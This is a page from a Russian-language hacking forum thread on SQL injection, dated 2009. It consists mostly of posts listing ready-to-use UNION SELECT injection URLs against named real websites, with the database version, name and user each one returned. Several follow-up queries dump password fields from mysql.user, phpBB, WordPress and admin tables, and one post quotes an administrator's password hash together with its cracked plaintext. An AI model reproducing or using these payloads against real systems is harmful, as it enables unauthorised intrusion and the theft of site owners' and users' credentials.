SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

Страница 17 из 20
  1. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.eutrainingsite.com/open_details.php?id=-66+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,version(),database(),user()),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57--
    5.0.22-Debian_0ubuntu6.06.11-log:eutrainingsite:eutrsite@localhost
    ===============
    [PR 6]
    Код:
    http://www.sabeel.org/etemplate.php?id=-58+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13
    5.0.45-community-nt:502401045_sabeel:web@localhost
    ===============
    [PR 4]
    Код:
    http://www.mondorecords.com/shop.php?id=-433+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
    4.0.27-standard:db124719782:dbo124719782@localhost
    ===============
    [PR 4]
    Код:
    http://www.hitchedmag.com/article.php?id=-526+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44
    5.0.51a-log:hitchedm_hitched:hitchedm_test@boscgi1202.eigbox.net
    ===============
    [PR 3]
    Код:
    http://ingrus.net/york/details.php?id=-190+union+select+concat_ws(0x3a,0x3c2f7469746c653e,version(),database(),user())
    4.1.22:db_ingrus_5:dbu_ingrus_1@192.168.7.4
     
    4 июл 2009
  2. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.newsletteraccess.com/display_article.php?id=-8997+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,concat_ws(0x3a,version(),database(),user()),33,34,35,36,37,38,39,40,41,42,43,44--
    4.0.20-standard:newsletters:newsletteraccess@localhost
    ===============
    [PR 6]
    Код:
    http://www.baruch.cuny.edu/bpac/calendar/event.php?id=-410+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9--
    4.0.16-standard:bpac:bpac@localhost
    ===============
    [PR 4]
    Код:
    http://www.wbstraining.com/php/events/showevent.php?id=-150+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
    5.0.45:wbs:lomokev@server213-171-218-189.livedns.org.uk
     
    6 июл 2009
  3. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.smap.eu/EN/index.php?page=home2.php&id=-803+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15
    5.0.45:smap_db:smap_db_user@localhost
    ==================
    [PR 6]
    Код:
    http://www.etikk.no/kalender.php?id=-370+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user())
    4.1.20:etikk:etikk@213.236.241.190
    ==================
    [PR 4]
    Код:
    http://www.mycow.eu/article.php?id=580+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--
    5.0.68-log:yourcow_bdd1:yourcow_bdd1@10.0.61.73
    ==================
    [PR 3]
    Код:
    http://www.unlocknews.eu/index.php?id=-8+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    4.1.22:unlocknews:unlocknews@localhost
    ==================
    [PR 2]
    Код:
    http://www.xennews.com/index.php?id=-14+union+select+1,2,concat_ws(0x3a,version(),database(),user())
    4.1.22:xennews01:xennews01@localhost
     
    7 июл 2009
  4. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 5]
    Код:
    http://www.guesthouses.be/template/kalender.php?id=-53+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87
    5.0.22:guesthouses02:guesthouses@localhost
    =====================
    [PR 5]
    Код:
    http://www.zuidpool.be/kalender.php?ID=-32+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--&productienaam=kReon
    4.1.21-standard:zuidpool:zuidpool@localhost
    =====================
    [PR 4]
    Код:
    http://www.fsek.lth.se/old//kalender.php?id=-592+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8&month=-20
    5.0.54-log:web:web@localhost
    --
    namn:password
    =====================
    [PR 2]
    Код:
    http://www.bmcenter.be/kalender.php?ID=-99+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5
    5.0.45-Dotdeb_0.dotdeb.1.1.CGA.1:bmcenter:admin@hostingst504.isp.belgacom.be
    Код:
    http://www.bmcenter.be/kalender.php?ID=-99+union+select+1,2,3,concat_ws(0x3a,user,password,file_priv),5+from+mysql.user
    Код:
    http://www.bmcenter.be/kalender.php?ID=-99+union+select+1,2,3,concat_ws(0x3a,user,pwd),5+from+user
    user:pwd
    =====================
    [PR 1]
    Код:
    http://www.heidetravel.be/kalender.php?id=-14+union+select+concat_ws(0x3a,version(),database(),user()),2
    5.0.32-Debian_7etch10-log:heidetravel_be:heidetravel_be@srv74.one.com
    =====================
    [PR 1]
    Код:
    http://www.bockmans.se/kalender.php?id=-17+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
    4.0.27-standard:easyinfo_k:easyinfo@dedi52.aname.net
    =====================
    [PR 0]
    Код:
    http://www.pluspunthw.nl/kalender.php?id=10+union+select+1,2,concat_ws(0x3a,version(),database(),user())+limit+1,1
    5.0.51a-24-log:leenb_ppunt:leenb_ppunta@wh-www15.xs4all.nl
     
    10 июл 2009
    1 человеку нравится это.
  5. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.dacc.edu/news/index.php?id=-503+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9
    4.1.21-standard:news:public@localhost
    ==============================
    [PR 4]
    Код:
    http://www.laererportalen.dk/kalender.php?id=-547+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10
    5.1.35:laererportal:laererportal_u@localhost
    ==============================
    [PR 4]
    Код:
    http://www.szgl.at/kalender.php?id=-28+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6
    4.0.23-Max-log:d00942bb:d00942bb@localhost
    ==============================
    [PR 3]
    Код:
    http://www.futter-fuers-volk.de/kalender.php?id=-3+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
    5.0.51a-3ubuntu5.1:usr_web68_2:web68@localhost
    ==============================
    [PR 3]
    Код:
    http://www.b-b-z.nl/jubileum/kalender.php?id=-7+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7
    5.0.51a-3ubuntu5.4:b_b_z:b-b-z@localhost
    --
    username:password
    ==============================
    [PR 2]
    Код:
    http://www.alexandra-ihrig.de/kalender.php?id=-12+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4
    4.0.27-max-log:db196773590:dbo196773590@212.227.127.40
    ==============================
    [PR 0]
    Код:
    http://neo24.sin.khk.be/phoenix/kalender.php?id=-73+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())
    5.0.81-1-log:neo24:neo24@squid.srv.sin.khk.be
    Код:
    http://neo24.sin.khk.be/phoenix/kalender.php?id=-73+union+select+1,2,3,4,concat_ws(0x3a,username,user_password)+from+phoenix_phpbb_users
    username:user_password
    Код:
    http://neo24.sin.khk.be/phoenix/kalender.php?id=-73+union+select+1,2,3,4,concat_ws(0x3a,username,password)+from+tbl_users
    username:password
     
    11 июл 2009
  6. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    mssql
    [PR 5]
    Код:
    http://www.coveredbridges.com/events/annualEvents.asp?id=1+or+1=@@version--
    ====================================
    [PR 4]
    Код:
    http://www.anconia.com/support/faq.asp?id=1218+or+1=@@version--
    ====================================
    ====================================
    [PR 6]
    Код:
    http://www.juristenverband.at/kalender.php?id=-137+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12
    4.0.21:juristenverband:root@localhost
    Код:
    http://www.juristenverband.at/kalender.php?id=-137+union+select+1,2,3,4,5,concat_ws(0x3a,user,password,file_priv),7,8,9,10,11,12+from+mysql.user
    ====================================
    [PR 3]
    Код:
    http://www.werkensepolder.nl/kalender.php?id=-24+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7
    4.0.15:werkense:werkense@localhost
    ====================================
    [PR 2]
    Код:
    http://www.beitstadfjordmc.no/applic/kalender.php?id=-21+union+select+concat_ws(0x3a,version(),database(),user())
    5.0.32-Debian_7etch10-log:beitstadfjordmc:beitstadfjordmc@srv85.one.com
    ====================================
    [PR 2]
    Код:
    http://www.svenarum.nu/kalender.php?id=-1011+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9
    5.0.27:svenarum_nu:svenarum.nu@localhost
    ====================================
    [PR 1]
    Код:
    http://www.judyreynolds.com/en/kalender.php?id=-3+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13
    5.0.32-Debian_7etch10-log:db1073307-judy:dbu1073307@localhost
    Код:
    http://www.judyreynolds.com/en/kalender.php?id=-3+union+select+1,2,3,4,concat_ws(0x3a,id,name,pass,admin),6,7,8,9,10,11,12,13+from+user
    id:name:pass:admin
    ====================================
    [PR 1]
    Код:
    http://www.vvvolkegem.be/kalender.php?ID=-11+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10--
    4.1.22-standard:voevol06_volkegem:voevol06_43sj29a@localhost
    ====================================
    [PR 0]
    Код:
    http://www.donkerewolk.net/kalender.php?id=-22+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5
    5.0.37-standard:tarsforier_wolk:tarsforier_tf@localhost
    Код:
    http://www.donkerewolk.net/kalender.php?id=-22+union+select+1,2,concat_ws(0x3a,user_id,username,userpass),4,5+from+poll_user
    user_id:username:userpass
    ====================================
    [PR 0]
    Код:
    http://www.h-lebt.de/kalender.php?id=9999999999+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16--&month=6
    5.0.32-Debian_7etch5-log:usr_web0_1:web0@localhost
    Код:
    http://www.h-lebt.de/kalender.php?id=9999999999+union+select+1,2,3,4,5,concat_ws(0x3a,username,password),7,8,9,10,11,12,13,14,15,16+from+be_users--&month=6
     
    Последнее редактирование модератором: 13 июл 2009
    12 июл 2009
    1 человеку нравится это.
  7. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 5]
    Код:
    http://www.radiobanyoles.cat/noticia.php?id=-4691+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5&t=La+companyia+Yllana+torna+a+Banyoles+amb+el+seu+darrer+espectacle+Brokers
    5.0.32-Debian_7etch10-log:radiobanyoles_bd:radiobanyoles@localhost
    ===============================
    [PR 5]
    Код:
    http://www.guillembalague.com/blog_desp.php?id=-94+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12&titulo=La%20Liga%20Previews:%20Sunday%27s%20live%20Spanish%20football%20fixtures
    4.1.22:myguillembalaguecom001:my1476340166B@localhost
    ===============================
    [PR 5]
    Код:
    http://www.aperitif-a-la-francaise.com/en/public/recettes/recette.php?id=-247+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17
    5.0.27-standard:aperitif_en:sopeuser@localhost
    ===============================
    [PR 4]
    Код:
    http://www.espavino.com/spain/wine.php?id=-2257+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10&wein=La%20Vi%C3%B1a
    5.0.45:14913_favoriten:14913_favoriten@localhost
    ===============================
    [PR 4]
    Код:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15&Video_Title=La%20lengua%20de%20las%20mariposas
    5.0.27-standard:cml-spanish:mfmedi01@136.165.237.209
    Код:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,id,username,passwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+cml.users
    id:username:passwd
    Код:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,id,username,passwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+spanish.users
    id:username:passwd
    Код:
    http://modernlanguages.louisville.edu/spanish/videos_spanish/show_video.php?id=-1067+union+select+1,concat_ws(0x3a,id,username,passwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+trinity.user
    id:username:passwd
    ===============================
    [PR 4]
    Код:
    http://www.nationmultimedia.com/admin/specials/socialscene/section.php?id=-170+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),database(),user()))),4,5,6,7&topic=La%20Mer%27s%20Holiday%20in%20Memory%20at%20Central%20Chidlom
    4.1.7-log:socialscene:nation01@192.168.52.54
    ===============================
    [PR 3]
    Код:
    http://www.domaine-la-fourmone.com/bouteille2_gb.php?id=-15+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17
    5.0.32-Debian_7etch8-log:my116691:my116691@62.193.203.175
     
    17 июл 2009
  8. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.gmm.gu.se/groups/pedersen/popDetail.php?ID=-8+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14--
    5.0.45:dbldbase:dbl@localhost
    Код:
    http://www.gmm.gu.se/groups/pedersen/popDetail.php?ID=-8+union+select+1,2,3,4,5,6,concat_ws(0x3a,user,password,file_priv),8,9,10,11,12,13,14+from+mysql.user--
    ===============================
    [PR 6]
    Код:
    http://www.coandco.cc/mutat.php?id=9999999999+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
    5.0.81:coandco:coandco@localhost
    ===============================
    [PR 4]
    Код:
    http://uz.cafspeech.kz/site.php?id=4&lan=english&newsid=-126+union+select+concat_ws(0x3a,version(),database(),user())
    5.0.41-community-nt:uz_cafspeech:cafspeech@localhost
    ===============================
    [PR 4]
    Код:
    http://www.ian.cc/notas/noticias_ian.php?id=-1915+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
    5.0.32-Debian_7etch10-log:db:dbuser@localhost
    ===============================
    [PR 3]
    Код:
    http://www.mgce.uz.ua/post.php?id=-277+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6
    5.0.45-log:mgce_d2:mgce_d2@192.168.2.2
    ===============================
    [PR 3]
    Код:
    http://www.gslc.cc/displaycms.php?id=-58+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5
    5.0.67-custom-log:goodshepherdcms:goodshepheradmin@apache2-sith.jubilee.dreamhost.com
    ===============================
    [PR 2]
    Код:
    http://www.hawaiihomes.cc/property.php?ID=-36+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46
    4.1.22-standard-log:mysql:root@localhost
    Код:
    http://www.hawaiihomes.cc/property.php?ID=-36+union+select+1,2,3,4,concat_ws(0x3a,user,password,file_priv),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+from+mysql.user
    ===============================
    [PR 1]
    Код:
    http://www.nationaltravel.com.py/v1/detalle.del.paquete.php?id=-16+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10
    5.0.67-community:national_national:national_natio@localhost
     
    18 июл 2009
  9. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.coandco.cc/mutat.php?id=9999999999+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
    5.0.81:coandco:coandco@localhost
    ===================================
    [PR 6]
    Код:
    http://www.hellotourist.net/sajatlap.php?ID=-14227+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76_+CA+LA+SOMARA+Arzachena+Hotel
    5.0.45-Debian_1ubuntu3.4-log:janositibor:janositibor@localhost
    ===================================
    [PR 6]
    Код:
    http://www.jugglingdb.com/events/index.php?id=-7511+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18&lang=ca
    5.0.27:ijdb:colin@localhost
    ===================================
    [PR 5]
    Код:
    http://www.remsoft.ca/news.php?id=-76+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5
    4.1.22-community-nt-log:remsoft:remsoft@WSH-004
    ===================================
    [PR 4]
    Код:
    http://www.ian.cc/notas/noticias_ian.php?id=-1915+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
    5.0.32-Debian_7etch10-log:db:dbuser@localhost
    ===================================
    [PR 4]
    Код:
    http://dev.4spe.org/cc/detail.php?id=-294+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
    5.0.51a-3ubuntu5.1-log:spe:speweb@localhost
    ===================================
    [PR 4]
    Код:
    http://www.cc-vw.org/index.php?id=974&level=-7+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--
    5.0.45-log:sr0781254:sr0781254@81.31.99.12
    ===================================
    [PR 3]
    Код:
    http://www.gslc.cc/displaycms.php?id=-58+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5
    5.0.67-custom-log:goodshepherdcms:goodshepheradmin@apache2-sith.jubilee.dreamhost.com
    ===================================
    [PR 3]
    Код:
    http://cc.cc.moose.cc/maps/results.php?id=-13+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
    5.0.77-community:cc_blog:cc_php@localhost
    Код:
    http://cc.cc.moose.cc/maps/results.php?id=-13+union+select+1,concat_ws(0x3a,user_login,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+cc_blog.wp_users
    user_login:user_pass
    ===================================
    [PR 0]
    Код:
    http://www.badlaav.co.cc/page.php?id=-19+union+select+1,2,concat_ws(0x3a,version(),database(),user())
    5.0.81-community:mechier_badlaav:mechier_dbuser@localhost
     
    Последнее редактирование: 21 июл 2009
    21 июл 2009
  10. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 4]
    Код:
    http://www.medinform.biz/stat1.php?id=-997757+union+select+1,concat_ws(0x3a,version(),database(),user()),3
    4.1.25:medinfo5main:medinfo5main@localhost
    ====================================
    [PR 3]
    Код:
    http://www.dreambike.biz/pregled.php?id=-832+union+select+concat_ws(0x3a,version(),database(),user())
    4.1.20:dreambike:dreambike0@localhost
    table 'admin' Found
    ====================================
    [PR 2]
    Код:
    http://www.giacint.biz/sobitiya_txt.php?id=-13+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6
    5.0.81-community:favorite_giacint:favorite_favorit@localhost
    ====================================
    [PR 2]
    Код:
    http://www.traxon.be/bandpress/product.php?id=9999999999+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15,16--&type=sh
    5.0.45-Dotdeb_0.dotdeb.1.1.CGA.1:traxon:admin@hostingst509.isp.belgacom.be
    ====================================
    [PR 2]
    Код:
    http://neftekamsk.biz/section.php?id=-10011+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7
    4.1.22-log:wwwurengoyinforu_neftekamsk:neftekam_nefteka@fe51.hc.ru
    ====================================
    [PR 0]
    Код:
    http://moodie.revotech.biz/category.php?id=-1120+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13
    5.0.22:mydomains_moodiedb:dbread@localhost
    ====================================
    [PR 0]
    Код:
    http://blogpost.photowork.biz/item.php?id=-250272+union+select+concat_ws(0x3a,version(),database(),user())
    4.1.22-standard-log:photowor_ecost:photowor_testig@localhost
    ====================================
    [PR 0]
    Код:
    http://www.at-rent.be/product.php?id=-50+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())--
    5.0.32-Debian_7etch3-log:atrent:atrent@localhost
    Код:
    http://www.at-rent.be/product.php?id=-50+union+select+1,2,3,concat_ws(0x3a,username,user_password)+from+phpbb_users--
    username:user_password
    ====================================
    [PR 0]
    Код:
    http://www.boardgameextras.co.uk/item.php?id=270&name=100+Mini+Euro+Card+Sleeves+%2845+MM+X+68+MM%29&cat=48&sub_cat=0+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    4.0.26-standard-log:VerseAD_bgshop:VerseAD_website@80.253.99.23
    ====================================
    [PR 0]
    Код:
    http://www.psychologi.biz/detail.php?id=99999999+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8
    5.0.77:intertime_psyc:intertime_psyc@localhost
    ====================================
    [PR 0]
    Код:
    http://biz.bdnews24.com/details.php?id=-89641+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7&cid=4
    5.0.45-log:aplustemp:aplus@localhost
     
    23 июл 2009
  11. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://www.newsletteraccess.com/display_article.php?id=-10099+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,5,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44--
    4.0.20-standard:newsletters:newsletteraccess@localhost
    ======================================
    [PR 5]
    Код:
    http://www.educationsante.be/es/article.php?id=-104+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8
    5.0.68-log:kinkin_es:kinkin_es@10.0.64.48
    ======================================
    [PR 4]
    Код:
    http://www.fullsecurity.be/en/article.php?id=-41+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12--
    5.0.45-community:fullsecu:fullsecu@localhost
    ======================================
    [PR 4]
    Код:
    http://www.davincijobs.com/news/display_article.php?id=-12+union+select+1,2,3,4,5,unhex(hex(concat_ws(0x3a,version(),database(),user())))
    5.0.16:davincinew:davinci1452@localhost
    Код:
    http://www.davincijobs.com/news/display_article.php?id=-12+union+select+1,2,3,4,5,unhex(hex(concat_ws(0x3a,user,password,file_priv)))+from+mysql.user
    ======================================
    [PR 3]
    Код:
    http://www.kkl.be/article.php?id=-10+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4
    5.0.68-log:kklbebase1:kklbebase1@10.0.65.175
    ======================================
    [PR 3]
    Код:
    http://www.aspnettoyage.be/article.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14--
    5.0.45-community:aspnetto:aspnetto@localhost
    ======================================
    [PR 2]
    Код:
    http://www.beadstreet.com.au/listproducts.php?id=-94+union+select+concat_ws(0x3a,version(),database(),user())--
    4.1.20:beadstreet:beadstre@localhost
    ======================================
    [PR 2]
    Код:
    http://www.liebe-zu-ihm.be/article.php?id=-388+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19
    4.1.22-standard:liebezu_Christo:liebezu_guest@localhost
    ======================================
    [PR 1]
    Код:
    http://tanleminh-craft.com/ListProducts.php?ID=-9+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12,13,14,15--
    4.1.22-standard:tanlemin_:tanlemin_@localhost
    ======================================
    [PR 1]
    Код:
    http://be-ecotherm.com/article.php?id=-2+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9
    5.0.45-Debian_1ubuntu3.3:beecotherm_db:root@localhost
     
    28 июл 2009
    1 человеку нравится это.
  12. b3
    b3 Guest
    Права не так проверяются, эта конструкция не всегда верна. И что вообще за прикол вылаживать недораскрученые скули =\
     
    29 июл 2009
    2 пользователям это понравилось.
  13. ImNaruto
    ImNaruto Новичок
    Симпатии:
    0
    а на форумах скулей нет?
     
    9 авг 2009
  14. xeran
    xeran Guest
    UnHidden Content:

    случайно проходя мимо нашел скулю)
    сайт какой то браузерной игры.
    В базе хранится история действий игроков, таблицы логинов, таблицы как понял самой игры.
    интересная табличка показалась log_users
    там admin:e10adc3949ba59abbe56e057f20f883e(123456)
    интересно это лог не удачных попыток или админ действительно мего лапух.
    хотя админку не нашол.
    также интересные таблички usertable_1,usertable_2,usertable_3...usertable_9
    с колоночками
    Код:
     0 :   id
   1 :   username
   2 :   userpass
   3 :   ogame_playerid
   4 :   email
   5 :   ingame
   6 :   allytag
   7 :   timezone_offset
   8 :   stylepath
   9 :   is_admin
   10 :   cansearch
   11 :   caninsert
   12 :   statusview
   13 :   probeview
   14 :   userman
   15 :   allyhistory
   16 :   diplomatic
   17 :   status
   18 :   logins
   19 :   lastlogin
   20 :   last_action
   21 :   statspage
   22 :   links
   23 :   bb_coordinates
   24 :   bb_moon
   25 :   bb_debris
   26 :   bb_ally
   27 :   bb_allydetails
   28 :   bb_playername
   29 :   bb_banned
   30 :   bb_vacation
   31 :   bb_noob
   32 :   bb_inactive
   33 :   bb_longinactive
   34 :   session_save
   35 :   ip
    чтение, запись файлов сервер не одобряет.
     
    10 авг 2009
  15. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    Код:
    http://www.oldseds.co.uk/seds/results.php?id=999999999999999+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8--
    5.0.68-percona-3-log:heartsfc:heartsfc@linweb4.atlas.pipex.net
    Код:
    http://www.oldseds.co.uk/seds/results.php?id=999999999999999+union+select+concat_ws(0x3a,username,user_password,user_level),2,3,4,5,6,7,8+from+phpbb_users+limit+1,1--
    username:user_password:user_level
    ============================================
    Код:
    http://www.mereducation.com/resources/item.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7
    5.0.22-standard-log:mered_live:mereduser@leda.cohasset.com
    Код:
    http://www.mereducation.com/resources/item.php?id=-1+union+select+1,2,3,concat_ws(0x3a,username,password,email),5,6,7+from+users
    username:password:email
    ============================================
    Код:
    http://www.weathersentinel.com/search/results.php?id=55+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    5.0.45:weathers_search:weathers_user@localhost
    Код:
    http://www.weathersentinel.com/search/results.php?id=55+union+select+1,2,3,concat_ws(0x3a,adminuser_firstname,adminuser_email,adminuser_pass)+from+adminuser
    adminuser_firstname:adminuser_email:adminuser_pass
    ============================================
    Код:
    http://www.gojumbos.com/results.php?id=-170+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    5.0.81-community-log:tuftsxcc_tuportal:tuftsxcc@localhost
    Код:
    http://www.gojumbos.com/results.php?id=-170+union+select+1,2,3,concat_ws(0x3a,username,user_password,user_level)+from+tuftsxcc_phpbb.phpbb_users
    username:user_password:user_level
    Код:
    http://www.gojumbos.com/results.php?id=-170+union+select+1,2,3,concat_ws(0x3a,user_login,user_pass,user_status)+from+tuftsxcc_wrdp1.wp_users
    user_login:user_pass:user_status
    ============================================
    Код:
    http://www.canyonchasers.net/maps/results.php?id=-26+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
    5.0.81-community:cc_blog:cc_php@localhost
    Код:
    http://www.canyonchasers.net/maps/results.php?id=-26+union+select+1,concat_ws(0x3a,user_login,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+cc_blog.wp_users
    user_login:user_pass
    Код:
    http://www.canyonchasers.net/maps/results.php?id=-26+union+select+1,concat_ws(0x3a,user_type,username,user_password,user_email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+cc_desmo.phpbb_users
    user_type:username:user_password:user_email
    ============================================
    Код:
